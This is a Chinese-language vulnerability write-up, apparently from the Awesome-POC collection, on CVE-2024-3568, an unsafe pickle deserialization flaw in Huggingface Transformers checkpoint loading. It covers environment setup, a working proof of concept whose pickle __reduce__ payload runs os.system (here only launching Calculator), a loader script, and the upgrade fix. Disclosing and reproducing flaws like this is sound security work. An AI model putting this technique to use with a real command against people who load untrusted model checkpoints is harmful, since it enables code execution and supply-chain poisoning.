mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 12:25:11 +00:00
108 lines
3.5 KiB
Markdown
108 lines
3.5 KiB
Markdown
# Huggingface Transformers Checkpoint 反序列化漏洞 CVE-2024-3568
|
||
|
||
## 漏洞描述
|
||
|
||
CVE-2024-3568 是 Huggingface 的 Transformers 库中存在的一个反序列化漏洞，该漏洞源于 `TFPreTrainedModel()` 类的 `load_repo_checkpoint()` 函数在反序列化未经信任的数据时，使用了不安全的 `pickle.load()` 方法。攻击者可以通过构造恶意的序列化负载，诱使受害者在正常的训练过程中加载看似无害的检查点，从而在目标机器上执行任意代码，导致远程代码执行。
|
||
|
||
此漏洞的利用方式可能包括供应链投毒，即攻击者在模型数据中插入恶意构造的数据，利用反序列化过程触发恶意代码执行。这类攻击的危险性在于，受害者将在不知情的情况下加载被篡改的模型 checkpoint，导致攻击者在其系统上执行任意代码。
|
||
|
||
参考链接：
|
||
|
||
- https://github.com/advisories/GHSA-37q5-v5qm-c9v8
|
||
- https://github.com/huggingface/transformers/commit/693667b8ac8138b83f8adb6522ddaf42fa07c125
|
||
- https://huntr.com/bounties/b3c36992-5264-4d7f-9906-a996efafba8f
|
||
|
||
## 披露时间
|
||
|
||
```
|
||
2024.02.03
|
||
```
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
transformers < 4.38.0
|
||
```
|
||
|
||
## 环境搭建
|
||
|
||
基于 python 3.9 创建一个虚拟环境，需要安装指定的版本的 `tensorflow`、`transformers`、`keras`，否则可能报兼容性错误：
|
||
|
||
```shell
|
||
# 创建工作目录
|
||
mkdir CVE-2024-3568 && cd CVE-2024-3568
|
||
|
||
# 使用 Python 3.9 创建新的 venv
|
||
python3.9 -m venv venv
|
||
source venv/bin/activate
|
||
|
||
# 安装兼容的 TensorFlow 版本
|
||
pip install --upgrade pip
|
||
pip install tensorflow==2.15 transformers==4.37.2 keras==2.15
|
||
```
|
||
|
||
登录 Huggingface 获取 AccessToken，`huggingface-cli` 登录：
|
||
|
||
```
|
||
> huggingface-cli login
|
||
Enter your token (input will not be visible): xxxxxxxxx
|
||
```
|
||
|
||
目录结构：
|
||
|
||
```
|
||
CVE-2024-3568
|
||
├── awesome_poc
|
||
│ └── checkpoint
|
||
│ ├── extra_data.pickle
|
||
│ └── weights.h5
|
||
├── generate_payload.py
|
||
├── poc.py
|
||
└── venv
|
||
```
|
||
|
||
通过 `generate_payload.py` 生成 `extra_data.pickle` 和 `weights.h5`：
|
||
|
||
- `extra_data.pickle`：序列化的元数据文件，模型加载时会使用 `pickle.load()` 加载这个文件。
|
||
- `weights.h5`：模型权重文件，与模型架构对应，否则将抛出异常。
|
||
|
||
```python
|
||
import pickle
|
||
import os
|
||
from transformers import TFAutoModel
|
||
class CExecute:
|
||
def __reduce__(self):
|
||
import os
|
||
cmd = 'open /System/Applications/Calculator.app'
|
||
return (os.system,(cmd,))
|
||
|
||
poc = CExecute()
|
||
with open('awesome_poc/checkpoint/extra_data.pickle', 'wb') as fp:
|
||
pickle.dump(poc,fp)
|
||
|
||
# Generate weights.h5
|
||
model = TFAutoModel.from_pretrained('google-bert/bert-base-uncased')
|
||
model.save_weights(os.path.join('awesome_poc', 'weights.h5'))
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
在 `pickle` 反序列化的过程中，会调用对象的 `__reduce__` 方法，此时将会执行我们写入的命令 `open /System/Applications/Calculator.app`。
|
||
|
||
通过 `poc.py` 模拟模型训练，加载带有恶意命令的 `checkpoint`：
|
||
|
||
```python
|
||
from transformers import TFAutoModel
|
||
from tensorflow.keras.optimizers import Adam
|
||
model = TFAutoModel.from_pretrained('bert-base-uncased')
|
||
model.compile(optimizer=Adam(learning_rate=5e-5), loss='sparse_categorical_crossentropy', metrics=['accuracy'])
|
||
|
||
model.load_repo_checkpoint('awesome_poc')
|
||
```
|
||
|
||
|
||
|
||
## 漏洞修复
|
||
|
||
- 升级 transformers 至最新版本 https://github.com/huggingface/transformers
|